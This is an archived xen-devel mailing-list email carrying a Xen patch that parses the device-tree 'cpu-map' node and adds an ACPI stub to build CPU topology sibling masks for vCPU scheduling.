 b=DJ2f/jqxnR2Lw3UoeosTzC1gdiAH67gxaagkRCqkj7dAQNyiXdbMo4Um1icFq0n1crOMW/sC0KxZgj6IPudwToeoNruwdlsvTRGAPLlO7J7fsxBrLQb2Up09CFwW6EeWTzIA1S8sNFey0XcaglhE0ZQFs8NeacJ9J5LYBMedMSE=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=valinux.co.jp;
From: Hirokazu Takahashi <taka@valinux.co.jp>
To: xen-devel@lists.xenproject.org
Cc: Mykyta_Poturai@epam.com,
	Hirokazu Takahashi <taka@valinux.co.jp>,
	Jan Beulich <jbeulich@suse.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Julien Grall <julien@xen.org>,
	Bertrand Marquis <bertrand.marquis@arm.com>,
	Michal Orzel <michal.orzel@amd.com>,
	Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger@xenproject.org>
Subject: [PATCH v9 1/4] xen/device-tree: Parse 'cpu-map' node for CPU topology exploration
Date: Tue, 28 Jul 2026 14:06:39 +0900
Message-ID: <20260728050642.411240-2-taka@valinux.co.jp>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <20260728050642.411240-1-taka@valinux.co.jp>
References: <20260728050642.411240-1-taka@valinux.co.jp>
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-ClientProxiedBy: TYCPR01CA0160.jpnprd01.prod.outlook.com
 (2603:1096:400:2b1::13) To OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 (2603:1096:604:458::18)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: OS9P286MB7222:EE_|TY1P286MB3277:EE_
X-MS-Office365-Filtering-Correlation-Id: 6fff4abc-a94e-4053-990e-08deec66087f
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|376014|7416014|366016|10070799003|23010399003|1800799024|6133799003|18002099003|22082099003|56012099006|10067099003;
X-Microsoft-Antispam-Message-Info:
	vm63xZAqD1ol/SM2DJOO7jOfMRGKgAzd5DgMsf9YwJVQk5Nemdpe15jDsMBeMXIyTX2zy1SjUtOqCujNqmWvr+lLMDxAFXkSRY989qbbH/oOwPRSqrmLoY/SiPSUr+k+xZHnDkmwnj4v6/HtqR10uan022l6AesyeDWlmkGekYcoVbf3EI2agQTMNNzAxd9i8lYhf3/FiPrAprbhD0rcTuYkk8MXv2DWbVOUHzX0Z31fsgm2bEyKb11XebJcVcq/lke1sIc6oY3vUWWvb7FDRB31EfajOjgwgJICekoSL6aKtYBPvJWXUpC4jG2TeAQNroabppZqFJVxqXgn9PwdOfiRJnJIvMoiIds72UrFBvwQ8EzuYWvKUgpPgRogThuZInt/NWBNeZqI89EFS0DFc1Q0PKtgrQiFM2ne6YQjxqLSCdeQCNhUNJZ4QCz0E7s0SQVWFJkDH9SQ1kxrTHUXTadRCkz5UGYrmisygQs6AoNIUrzesNfXwcJR/aFKRe98synu83YjMnakRPE2w5ThxnCwB9a6OJ5bhhyfsAUzRWrgqKXR+Ax/tU5FcKK7Cb8JDETwV3l/R9bguaD9rqBib1flCrI3cJnbABKQMbUBpzcdn6Z7G/1RFEe7YIqIFOgByGkOTXo/7IV+ZtdLPww2NUDAMWOy7V8pI6UraYfMVls=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM;PTR:;CAT:NONE;SFS:(13230040)(376014)(7416014)(366016)(10070799003)(23010399003)(1800799024)(6133799003)(18002099003)(22082099003)(56012099006)(10067099003);DIR:OUT;SFP:1102;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 2
X-MS-Exchange-AntiSpam-MessageData-0:
	=?us-ascii?Q?gUSY1AoD0zEiPxNfTZk52QYsHwp0ucO+rvolr7dyh10mVmQZGLfJ1vJr0miU?=
 =?us-ascii?Q?L5rteoTAbeZsftfE2+pgMvkIloMUNpB0i+IhBrylc/Opdgam1bIDXpXc7/nH?=
 =?us-ascii?Q?zM3ZKl9eWmbDmWUShrNB051CkAuULAICZzUNvxeZ7pqoQTlLBdW14wsSQttu?=
 =?us-ascii?Q?AeZOeBldV2zG/0meWg0pQp0HCN31a7idjhVr0tzxYnnNuqt/OKMW/mJYv+mH?=
 =?us-ascii?Q?0TLcTZDIJcAb82V4oF2qZJuXH8EyblI2s9zmSxLsoOOgBUzjmtiQkMdFRKKy?=
 =?us-ascii?Q?1c4lVeXTK4Wh7bLCn/MGtMQxCyd2SMKgXKQ6PrG+oxC/38CFd3LILr3MdTtq?=
 =?us-ascii?Q?8Ib4E8bBwMUgwVlt8SGzGEVu/ClpsfevvPzzzi74nsEDuXel4GUPqmSss2J4?=
 =?us-ascii?Q?CmaWNHjnc8R7ex3UxuRXPVhg2UfUaFfuPp/teUc8+P3U9HBElKcwf/yiYegT?=
 =?us-ascii?Q?4hd3/xciALdilg0iZQLcyfJKrOKUpb7QV6inHm+w3ONiAS84BGSf8Y2dsLKO?=
 =?us-ascii?Q?YuW79fKQZ+tqe2AoS7GIQCyozT08HASnrPRUyCKlH62VhSZuXHUcZ4baUbfk?=
 =?us-ascii?Q?+YTB0w3cNx4ZaLr7SWKd21EDX/hTNzRSZ80I3PDahg+zCa//o79dDONzMp2p?=
 =?us-ascii?Q?wp96h5I4HC+x5TtotjBKrn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1vqYZfNal1GzUiaqfagdbEy?=
 =?us-ascii?Q?f9ap2xAWzLHR7S4yEvi1yak2ZJzA3eSyM9ZfGxQnGM8YFxtX4YlLJAOj6pHA?=
 =?us-ascii?Q?d9iwkbMQnTfQk2f7tif50it1gOflGOaxRkpvdIRj4sGKp5iNa5zt73ys3bb4?=
 =?us-ascii?Q?z9d4/bXMbtTwZ1nvTSCRaQ+fWAe93KAUeZcddGASdN0cbZidoUYOfHEqZuVJ?=
 =?us-ascii?Q?fOq9W5ZiNgVwNtJmgpfGejbYl4nQW2gZX2pYT2Ko3zyNfXM+1iyOlx1jNAbD?=
X-MS-Exchange-AntiSpam-MessageData-1: WDp+qifzthaKAQ==
X-OriginatorOrg: valinux.co.jp
X-MS-Exchange-CrossTenant-Network-Message-Id: 6fff4abc-a94e-4053-990e-08deec66087f
X-MS-Exchange-CrossTenant-AuthSource: OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 28 Jul 2026 05:06:50.7886
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 7a57bee8-f73d-4c5f-a4f7-d72c91c8c111
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: mQlci9GKPDRjdcjSyZLAdVDckAgU9FBLMs1ZC1APdmkzjUGNMTHofXwWoO3DWpNyee1k98dt7oQa9JLqIjheKw==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: TY1P286MB3277
X-purgate-ID: tlsNG-ebf023/1785215215-51CD7B50-6ECC4581/0/0
X-purgate-type: clean
X-purgate-size: 21500

Parse the 'cpu-map' node in the Device Tree to extract CPU topology
information. If the 'cpu-map' node is absent, fall back to
generating the topology data from the NUMA information. This
generation assumes exactly one socket per NUMA node and that SMT
is unsupported.

Signed-off-by: Hirokazu Takahashi <taka@valinux.co.jp>
Reviewed-by: Jan Beulich <jbeulich@suse.com> # common, acpi
---
 xen/arch/arm/Kconfig                  |   1 +
 xen/arch/arm/smpboot.c                |   7 +
 xen/common/Kconfig                    |  22 ++
 xen/common/Makefile                   |   1 +
 xen/common/cpu-topology.c             |  62 +++++
 xen/common/cpu.c                      |   5 +
 xen/common/device-tree/Makefile       |   1 +
 xen/common/device-tree/cpu-topology.c | 344 ++++++++++++++++++++++++++
 xen/drivers/acpi/Makefile             |   1 +
 xen/drivers/acpi/topology.c           |  41 +++
 xen/include/xen/acpi.h                |  13 +
 xen/include/xen/cpu-topology.h        |  34 +++
 xen/include/xen/dt-cpu-topology.h     |  35 +++
 13 files changed, 567 insertions(+)
 create mode 100644 xen/common/cpu-topology.c
 create mode 100644 xen/common/device-tree/cpu-topology.c
 create mode 100644 xen/drivers/acpi/topology.c
 create mode 100644 xen/include/xen/cpu-topology.h
 create mode 100644 xen/include/xen/dt-cpu-topology.h

diff --git a/xen/arch/arm/Kconfig b/xen/arch/arm/Kconfig
index 843a43897e..1e0fd4957e 100644
--- a/xen/arch/arm/Kconfig
+++ b/xen/arch/arm/Kconfig
@@ -19,6 +19,7 @@ config ARM
 	select HAS_ALTERNATIVE if HAS_VMAP
 	select HAS_DEVICE_TREE_DISCOVERY
 	select HAS_DOM0LESS
+	select HAS_GENERIC_CPU_TOPOLOGY
 	select HAS_GRANT_CACHE_FLUSH if GRANT_TABLE
 	select HAS_STACK_PROTECTOR
 	select HAS_STATIC_MEMORY
diff --git a/xen/arch/arm/smpboot.c b/xen/arch/arm/smpboot.c
index ba5fd2dd52..d957553a44 100644
--- a/xen/arch/arm/smpboot.c
+++ b/xen/arch/arm/smpboot.c
@@ -9,10 +9,12 @@
 
 #include <xen/acpi.h>
 #include <xen/cpu.h>
+#include <xen/cpu-topology.h>
 #include <xen/cpumask.h>
 #include <xen/delay.h>
 #include <xen/device_tree.h>
 #include <xen/domain_page.h>
+#include <xen/dt-cpu-topology.h>
 #include <xen/errno.h>
 #include <xen/init.h>
 #include <xen/mm.h>
@@ -244,6 +246,9 @@ static void __init dt_smp_init_cpus(void)
         }
         else
             tmp_map[i] = hwid;
+
+        /* Pass the info to dt_init_cpu_topology() */
+        map_cpu_to_dt_node(i, cpu);
     }
 
     if ( !bootcpu_valid )
@@ -280,6 +285,8 @@ void __init smp_init_cpus(void)
     else
         acpi_smp_init_cpus();
 
+    init_cpu_topology();
+
     if ( opt_hmp_unsafe )
         warning_add("WARNING: HMP COMPUTING HAS BEEN ENABLED.\n"
                     "It has implications on the security and stability of the system,\n"
diff --git a/xen/common/Kconfig b/xen/common/Kconfig
index da80fdba84..29879a9131 100644
--- a/xen/common/Kconfig
+++ b/xen/common/Kconfig
@@ -140,6 +140,9 @@ config HAS_EX_TABLE
 config HAS_FAST_MULTIPLY
 	bool
 
+config HAS_GENERIC_CPU_TOPOLOGY
+	bool
+
 config HAS_IOPORTS
 	bool
 
@@ -191,6 +194,25 @@ config VM_EVENT
 config NEEDS_LIBELF
 	bool
 
+config GENERIC_CPU_TOPOLOGY
+	bool
+
+config DT_CPU_TOPOLOGY
+	bool "Device tree based CPU topology support (UNSUPPORTED)"
+	depends on HAS_GENERIC_CPU_TOPOLOGY && DEVICE_TREE_PARSE && UNSUPPORTED
+	select GENERIC_CPU_TOPOLOGY
+	help
+	  Retrieve CPU topology information from the device tree to optimize
+	  vCPU scheduling.
+
+config ACPI_CPU_TOPOLOGY
+	bool "ACPI based CPU topology support (UNSUPPORTED)"
+	depends on HAS_GENERIC_CPU_TOPOLOGY && ACPI && UNSUPPORTED
+	select GENERIC_CPU_TOPOLOGY
+	help
+	  Retrieve CPU topology information from the ACPI PPTT to optimize
+	  vCPU scheduling.
+
 config NUMA
 	bool
 
diff --git a/xen/common/Makefile b/xen/common/Makefile
index 6018e25614..901bb37925 100644
--- a/xen/common/Makefile
+++ b/xen/common/Makefile
@@ -5,6 +5,7 @@ obj-$(CONFIG_GENERIC_BUG_FRAME) += bug.o
 obj-$(CONFIG_HYPFS_CONFIG) += config_data.o
 obj-$(CONFIG_CORE_PARKING) += core_parking.o
 obj-y += cpu.o
+obj-$(CONFIG_GENERIC_CPU_TOPOLOGY) += cpu-topology.init.o
 obj-$(CONFIG_DEBUG_TRACE) += debugtrace.o
 obj-$(CONFIG_HAS_DEVICE_TREE_DISCOVERY) += device.o
 obj-$(filter-out $(CONFIG_X86),$(CONFIG_ACPI)) += device.o
diff --git a/xen/common/cpu-topology.c b/xen/common/cpu-topology.c
new file mode 100644
index 0000000000..52e31ef518
--- /dev/null
+++ b/xen/common/cpu-topology.c
@@ -0,0 +1,62 @@
+/* SPDX-License-Identifier: GPL-2.0-or-later */
+
+#include <xen/acpi.h>
+#include <xen/cpu-topology.h>
+#include <xen/cpumask.h>
+#include <xen/dt-cpu-topology.h>
+#include <xen/init.h>
+#include <xen/xvmalloc.h>
+
+static void __init free_topology_table(void)
+{
+    unsigned int cpu;
+
+    for ( cpu = 0; cpu < nr_cpu_ids; cpu++ )
+    {
+        free_cpumask_var(cpu_topology[cpu].thread_sibling);
+        free_cpumask_var(cpu_topology[cpu].core_sibling);
+        free_cpumask_var(cpu_topology[cpu].cluster_sibling);
+    }
+
+    XVFREE(cpu_topology);
+}
+
+void __init init_cpu_topology(void)
+{
+    unsigned int cpu;
+    int ret;
+
+    cpu_topology = xvzalloc_array(struct cpu_topology, nr_cpu_ids);
+    if ( !cpu_topology )
+        return;
+
+    for ( cpu = 0; cpu < nr_cpu_ids; cpu++ )
+    {
+        if ( !zalloc_cpumask_var(&cpu_topology[cpu].thread_sibling) ||
+             !zalloc_cpumask_var(&cpu_topology[cpu].core_sibling) ||
+             !zalloc_cpumask_var(&cpu_topology[cpu].cluster_sibling) )
+        {
+            free_topology_table();
+            return;
+        }
+    }
+
+    if ( acpi_disabled )
+        ret = dt_init_cpu_topology();
+    else
+        ret = acpi_init_cpu_topology();
+
+    /* Free the CPU topology table if initialization fails. */
+    if ( ret != 0 )
+        free_topology_table();
+}
+
+/*
+ * Local variables:
+ * mode: C
+ * c-file-style: "BSD"
+ * c-basic-offset: 4
+ * tab-width: 4
+ * indent-tabs-mode: nil
+ * End:
+ */
diff --git a/xen/common/cpu.c b/xen/common/cpu.c
index f09af0444b..9591ada60a 100644
--- a/xen/common/cpu.c
+++ b/xen/common/cpu.c
@@ -1,5 +1,6 @@
 #include <xen/cpumask.h>
 #include <xen/cpu.h>
+#include <xen/cpu-topology.h>
 #include <xen/event.h>
 #include <xen/init.h>
 #include <xen/sched.h>
@@ -46,6 +47,10 @@ const unsigned long cpu_bit_bitmap[BITS_PER_LONG+1][BITS_TO_LONGS(NR_CPUS)] = {
 #undef MASK_DECLARE_2
 #undef MASK_DECLARE_1
 
+#ifdef CONFIG_GENERIC_CPU_TOPOLOGY
+struct cpu_topology *__ro_after_init cpu_topology;
+#endif /* CONFIG_GENERIC_CPU_TOPOLOGY */
+
 static DEFINE_RWLOCK(cpu_add_remove_lock);
 
 bool get_cpu_maps(void)
diff --git a/xen/common/device-tree/Makefile b/xen/common/device-tree/Makefile
index 9036e455d6..6ee670b5f4 100644
--- a/xen/common/device-tree/Makefile
+++ b/xen/common/device-tree/Makefile
@@ -1,6 +1,7 @@
 obj-y += bootfdt.init.o
 obj-$(CONFIG_HAS_DEVICE_TREE_DISCOVERY) += bootinfo-fdt.init.o
 obj-$(CONFIG_HAS_DEVICE_TREE_DISCOVERY) += bootinfo.init.o
+obj-$(CONFIG_DT_CPU_TOPOLOGY) += cpu-topology.init.o
 obj-y += device-tree.o
 obj-$(CONFIG_DOMAIN_BUILD_HELPERS) += domain-build.init.o
 obj-$(filter $(CONFIG_DOM0LESS_BOOT),$(CONFIG_HAS_DEVICE_TREE_DISCOVERY)) += dom0less-build.init.o
diff --git a/xen/common/device-tree/cpu-topology.c b/xen/common/device-tree/cpu-topology.c
new file mode 100644
index 0000000000..9259be73bc
--- /dev/null
+++ b/xen/common/device-tree/cpu-topology.c
@@ -0,0 +1,344 @@
+/* SPDX-License-Identifier: GPL-2.0-or-later */
+/*
+ * Derived from Linux kernel 7.0's $drivers/base/arch_topology.c
+ * Parse cpu topology information.
+ */
+
+#include <xen/acpi.h>
+#include <xen/cpu-topology.h>
+#include <xen/cpumask.h>
+#include <xen/device_tree.h>
+#include <xen/errno.h>
+#include <xen/init.h>
+
+#define INVALID_TOPO_ID (~0U)
+
+struct cpu_map {
+    unsigned int thread_id;
+    unsigned int core_id;
+    unsigned int cluster_id;
+    unsigned int package_id;
+};
+
+static struct cpu_map __initdata cpu_map[NR_CPUS] = {
+    [0 ... NR_CPUS - 1] = {
+        .thread_id = INVALID_TOPO_ID,
+        .core_id = INVALID_TOPO_ID,
+        .cluster_id = INVALID_TOPO_ID,
+        .package_id = INVALID_TOPO_ID,
+    },
+};
+static struct dt_device_node *__initdata dt_cpu_table[NR_CPUS];
+
+static void __init setup_siblings_masks(unsigned int target_cpu)
+{
+    const struct cpu_topology *target_topo = &cpu_topology[target_cpu];
+    const struct cpu_map *target_map = &cpu_map[target_cpu];
+    unsigned int cpu;
+
+    /* Update cluster, core and thread sibling masks */
+    for_each_possible_cpu(cpu)
+    {
+        const struct cpu_topology *cpu_topo = &cpu_topology[cpu];
+        const struct cpu_map *map = &cpu_map[cpu];
+
+        if ( target_cpu > cpu )
+            continue;
+
+        if ( target_map->package_id != map->package_id )
+            continue;
+
+        cpumask_set_cpu(target_cpu, cpu_topo->core_sibling);
+        cpumask_set_cpu(cpu, target_topo->core_sibling);
+
+        if ( target_map->cluster_id != map->cluster_id )
+            continue;
+
+        if ( target_map->cluster_id != INVALID_TOPO_ID )
+        {
+            cpumask_set_cpu(target_cpu, cpu_topo->cluster_sibling);
+            cpumask_set_cpu(cpu, target_topo->cluster_sibling);
+        }
+
+        if ( target_map->core_id != map->core_id )
+            continue;
+
+        cpumask_set_cpu(target_cpu, cpu_topo->thread_sibling);
+        cpumask_set_cpu(cpu, target_topo->thread_sibling);
+    }
+}
+
+static const struct dt_device_node *__init dt_find_child_node_by_name(
+    const struct dt_device_node *dt,
+    const char *name)
+{
+    const struct dt_device_node *np;
+
+    dt_for_each_child_node(dt, np)
+        if ( np->name && (dt_node_cmp(np->name, name) == 0) )
+            return np;
+
+    return NULL;
+}
+
+void __init map_cpu_to_dt_node(unsigned int cpu,
+                               struct dt_device_node *cpu_node)
+{
+    if ( cpu < ARRAY_SIZE(dt_cpu_table) )
+        dt_cpu_table[cpu] = cpu_node;
+    else
+        printk(XENLOG_WARNING
+               "cpu %u exceeds the max cpus %zu\n",
+               cpu, ARRAY_SIZE(dt_cpu_table));
+}
+
+static unsigned int __init cpu_node_to_id(
+    const struct dt_device_node *cpu_node)
+{
+    unsigned int cpu;
+
+    for_each_possible_cpu(cpu)
+        if ( cpu_node == dt_cpu_table[cpu] )
+            return cpu;
+
+    return INVALID_TOPO_ID;
+}
+
+/*
+ * This function returns the Xen cpu number of the DT node.
+ */
+static unsigned int __init get_cpu_for_node(
+    const struct dt_device_node *dt_node)
+{
+    const struct dt_device_node *cpu_node =
+        dt_parse_phandle(dt_node, "cpu", 0);
+
+    if ( !cpu_node )
+        return INVALID_TOPO_ID;
+
+    return cpu_node_to_id(cpu_node);
+}
+
+static int __init parse_core(const struct dt_device_node *core,
+                             unsigned int package_id,
+                             unsigned int cluster_id,
+                             unsigned int core_id)
+{
+    bool leaf = true;
+    unsigned int thread_id;
+    unsigned int cpu;
+
+    for ( thread_id = 0; ; thread_id++ )
+    {
+        const struct dt_device_node *thread;
+        char name[20];
+
+        snprintf(name, sizeof(name), "thread%u", thread_id);
+        thread = dt_find_child_node_by_name(core, name);
+
+        if ( !thread )
+            break;
+
+        leaf = false;
+        cpu = get_cpu_for_node(thread);
+
+        if ( cpu == INVALID_TOPO_ID )
+        {
+            printk(XENLOG_ERR
+                   "ERROR: %s: Can't get CPU for thread\n", dt_node_name(thread));
+            return -EINVAL;
+        }
+
+        ASSERT(cpu_map[cpu].package_id == INVALID_TOPO_ID);
+        ASSERT(cpu_map[cpu].cluster_id == INVALID_TOPO_ID);
+        ASSERT(cpu_map[cpu].core_id == INVALID_TOPO_ID);
+        ASSERT(cpu_map[cpu].thread_id == INVALID_TOPO_ID);
+
+        cpu_map[cpu].package_id = package_id;
+        cpu_map[cpu].cluster_id = cluster_id;
+        cpu_map[cpu].core_id = core_id;
+        cpu_map[cpu].thread_id = thread_id;
+    }
+
+    cpu = get_cpu_for_node(core);
+
+    if ( cpu != INVALID_TOPO_ID )
+    {
+        if ( !leaf )
+        {
+            printk(XENLOG_ERR "ERROR: %s: Core has both threads and CPU\n",
+                   dt_node_name(core));
+            return -EINVAL;
+        }
+
+        ASSERT(cpu_map[cpu].package_id == INVALID_TOPO_ID);
+        ASSERT(cpu_map[cpu].cluster_id == INVALID_TOPO_ID);
+        ASSERT(cpu_map[cpu].core_id == INVALID_TOPO_ID);
+        ASSERT(cpu_map[cpu].thread_id == INVALID_TOPO_ID);
+
+        cpu_map[cpu].package_id = package_id;
+        cpu_map[cpu].cluster_id = cluster_id;
+        cpu_map[cpu].core_id = core_id;
+        cpu_map[cpu].thread_id = 0;
+    }
+    else if ( leaf )
+    {
+        printk(XENLOG_ERR
+               "ERROR: %s: Can't get CPU for leaf core\n", dt_node_name(core));
+        return -EINVAL;
+    }
+
+    return 0;
+}
+
+static int __init parse_cluster(const struct dt_device_node *cluster,
+                                unsigned int package_id,
+                                unsigned int cluster_id,
+                                unsigned int depth)
+{
+    bool leaf = true;
+    bool has_cores = false;
+    unsigned int core_id;
+    unsigned int child_cluster_id;
+
+    /*
+     * First check for child clusters; we currently ignore any
+     * information about the nesting of clusters and present the
+     * scheduler with a flat list of them.
+     */
+    for ( child_cluster_id = 0; ; child_cluster_id++ )
+    {
+        const struct dt_device_node *child_cluster;
+        char name[20];
+        int ret;
+
+        snprintf(name, sizeof(name), "cluster%u", child_cluster_id);
+        child_cluster = dt_find_child_node_by_name(cluster, name);
+
+        if ( !child_cluster )
+            break;
+
+        leaf = false;
+        ret = parse_cluster(child_cluster, package_id, child_cluster_id,
+                            depth + 1);
+        if ( depth > 0 )
+            printk(XENLOG_WARNING
+                   "WARNING: Topology for clusters of clusters not yet supported\n");
+        if ( ret != 0 )
+            return ret;
+    }
+
+    /* Now check for cores */
+    for ( core_id = 0; ; core_id++ )
+    {
+        const struct dt_device_node *core;
+        char name[20];
+        int ret;
+
+        snprintf(name, sizeof(name), "core%u", core_id);
+        core = dt_find_child_node_by_name(cluster, name);
+
+        if ( !core )
+            break;
+
+        has_cores = true;
+
+        if ( depth == 0 )
+        {
+            printk(XENLOG_ERR
+                   "ERROR: %s: cpu-map children should be clusters\n",
+                   dt_node_name(core));
+            return -EINVAL;
+        }
+
+        if ( leaf )
+        {
+            ret = parse_core(core, package_id, cluster_id, core_id);
+            if ( ret != 0 )
+                return ret;
+        }
+        else
+        {
+            printk(XENLOG_ERR "ERROR: %s: Non-leaf cluster with core %s\n",
+                   dt_node_name(cluster), name);
+            return -EINVAL;
+        }
+    }
+
+    if ( leaf && !has_cores )
+        printk(XENLOG_WARNING "WARNING: %s: empty cluster\n",
+               dt_node_name(cluster));
+
+    return 0;
+}
+
+static int __init parse_socket(const struct dt_device_node *socket)
+{
+    bool has_socket = false;
+    unsigned int package_id;
+    int ret;
+
+    for ( package_id = 0; ; package_id++ )
+    {
+        const struct dt_device_node *cluster;
+        char name[20];
+
+        snprintf(name, sizeof(name), "socket%u", package_id);
+        cluster = dt_find_child_node_by_name(socket, name);
+
+        if ( !cluster )
+            break;
+
+        has_socket = true;
+        ret = parse_cluster(cluster, package_id, INVALID_TOPO_ID, 0);
+        if ( ret != 0 )
+            return ret;
+    }
+
+    if ( !has_socket )
+        ret = parse_cluster(socket, 0, INVALID_TOPO_ID, 0);
+
+    return ret;
+}
+
+static int __init parse_dt_topology(void)
+{
+    const struct dt_device_node *cpus;
+    const struct dt_device_node *map;
+
+    cpus = dt_find_node_by_path("/cpus");
+    if ( !cpus )
+        return -ENOENT;
+
+    map = dt_find_child_node_by_name(cpus, "cpu-map");
+    if ( !map )
+        return -ENOENT;
+
+    return parse_socket(map);
+}
+
+int __init dt_init_cpu_topology(void)
+{
+    unsigned int cpu;
+    int ret;
+
+    BUG_ON(!acpi_disabled);
+    BUG_ON(!cpu_topology);
+
+    ret = parse_dt_topology();
+    if ( ret == 0 )
+        for_each_possible_cpu(cpu)
+            setup_siblings_masks(cpu);
+
+    return ret;
+}
+
+/*
+ * Local variables:
+ * mode: C
+ * c-file-style: "BSD"
+ * c-basic-offset: 4
+ * tab-width: 4
+ * indent-tabs-mode: nil
+ * End:
+ */
diff --git a/xen/drivers/acpi/Makefile b/xen/drivers/acpi/Makefile
index 477408afbe..6d676e91d4 100644
--- a/xen/drivers/acpi/Makefile
+++ b/xen/drivers/acpi/Makefile
@@ -7,6 +7,7 @@ obj-$(CONFIG_ACPI_NUMA) += numa.o
 obj-y += osl.o
 obj-$(CONFIG_PM_STATS) += pmstat.o
 obj-$(CONFIG_PM_OP) += pm-op.o
+obj-$(CONFIG_ACPI_CPU_TOPOLOGY) += topology.init.o
 
 obj-$(CONFIG_X86) += hwregs.o
 obj-$(CONFIG_X86) += reboot.o
diff --git a/xen/drivers/acpi/topology.c b/xen/drivers/acpi/topology.c
new file mode 100644
index 0000000000..45d1f2c5be
--- /dev/null
+++ b/xen/drivers/acpi/topology.c
@@ -0,0 +1,41 @@
+/* SPDX-License-Identifier: GPL-2.0-or-later */
+
+#include <xen/acpi.h>
+#include <xen/cpu-topology.h>
+#include <xen/cpumask.h>
+#include <xen/init.h>
+
+/*
+ * TODO: Populate the topology information by scanning the ACPI
+ *       PPTT (Processor Properties Topology Table).
+ */
+int __init acpi_init_cpu_topology(void)
+{
+    unsigned int cpu;
+
+    /*
+     * Generate temporary cpu topology information for now.
+     * It assumes that the cpu doesn't have SMT and all CPUs
+     * belong to the same socket.
+     */
+    for_each_possible_cpu(cpu)
+    {
+        struct cpu_topology *topo = &cpu_topology[cpu];
+
+        cpumask_set_cpu(cpu, topo->thread_sibling);
+        cpumask_copy(topo->core_sibling, &cpu_possible_map);
+        cpumask_copy(topo->cluster_sibling, &cpu_possible_map);
+    }
+
+    return 0;
+}
+
+/*
+ * Local variables:
+ * mode: C
+ * c-file-style: "BSD"
+ * c-basic-offset: 4
+ * tab-width: 4
+ * indent-tabs-mode: nil
+ * End:
+ */
diff --git a/xen/include/xen/acpi.h b/xen/include/xen/acpi.h
index 2fdf38cf74..cbb02e0f35 100644
--- a/xen/include/xen/acpi.h
+++ b/xen/include/xen/acpi.h
@@ -135,6 +135,19 @@ static inline int acpi_boot_table_init(void)
 
 #endif 	/*!CONFIG_ACPI*/
 
+#ifdef CONFIG_ACPI_CPU_TOPOLOGY
+
+int acpi_init_cpu_topology(void);
+
+#else /* CONFIG_ACPI_CPU_TOPOLOGY */
+
+static inline int acpi_init_cpu_topology(void)
+{
+    return -EOPNOTSUPP;
+}
+
+#endif /* CONFIG_ACPI_CPU_TOPOLOGY */
+
 int get_cpu_id(u32 acpi_id);
 
 unsigned int acpi_register_gsi (u32 gsi, int edge_level, int active_high_low);
diff --git a/xen/include/xen/cpu-topology.h b/xen/include/xen/cpu-topology.h
new file mode 100644
index 0000000000..7cfe3752cd
--- /dev/null
+++ b/xen/include/xen/cpu-topology.h
@@ -0,0 +1,34 @@
+/* SPDX-License-Identifier: GPL-2.0-only */
+
+#ifndef XEN_CPU_TOPOLOGY_H
+#define XEN_CPU_TOPOLOGY_H
+
+#include <xen/cpumask.h>
+
+#ifdef CONFIG_GENERIC_CPU_TOPOLOGY
+
+struct cpu_topology {
+    cpumask_var_t thread_sibling;
+    cpumask_var_t core_sibling;
+    cpumask_var_t cluster_sibling;
+};
+
+extern struct cpu_topology *cpu_topology;
+void init_cpu_topology(void);
+
+#else /* CONFIG_GENERIC_CPU_TOPOLOGY */
+
+static inline void init_cpu_topology(void) {}
+
+#endif /* CONFIG_GENERIC_CPU_TOPOLOGY */
+
+#endif /* XEN_CPU_TOPOLOGY_H */
+
+/*
+ * Local variables:
+ * mode: C
+ * c-file-style: "BSD"
+ * c-basic-offset: 4
+ * indent-tabs-mode: nil
+ * End:
+ */
diff --git a/xen/include/xen/dt-cpu-topology.h b/xen/include/xen/dt-cpu-topology.h
new file mode 100644
index 0000000000..72b35b3cf2
--- /dev/null
+++ b/xen/include/xen/dt-cpu-topology.h
@@ -0,0 +1,35 @@
+/* SPDX-License-Identifier: GPL-2.0-only */
+
+#ifndef XEN_DT_CPU_TOPOLOGY_H
+#define XEN_DT_CPU_TOPOLOGY_H
+
+#include <xen/errno.h>
+
+struct dt_device_node;
+
+#ifdef CONFIG_DT_CPU_TOPOLOGY
+
+void map_cpu_to_dt_node(unsigned int cpu, struct dt_device_node *cpu_node);
+int dt_init_cpu_topology(void);
+
+#else /* CONFIG_DT_CPU_TOPOLOGY */
+
+static inline void map_cpu_to_dt_node(unsigned int cpu,
+                                      struct dt_device_node *cpu_node) {}
+static inline int dt_init_cpu_topology(void)
+{
+    return -EOPNOTSUPP;
+}
+
+#endif /* CONFIG_DT_CPU_TOPOLOGY */
+
+#endif /* XEN_DT_CPU_TOPOLOGY_H */
+
+/*
+ * Local variables:
+ * mode: C
+ * c-file-style: "BSD"
+ * c-basic-offset: 4
+ * indent-tabs-mode: nil
+ * End:
+ */
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 06:51:38 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 06:51:38 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1372096.1619487 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wobew-000225-NO; Tue, 28 Jul 2026 06:51:26 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
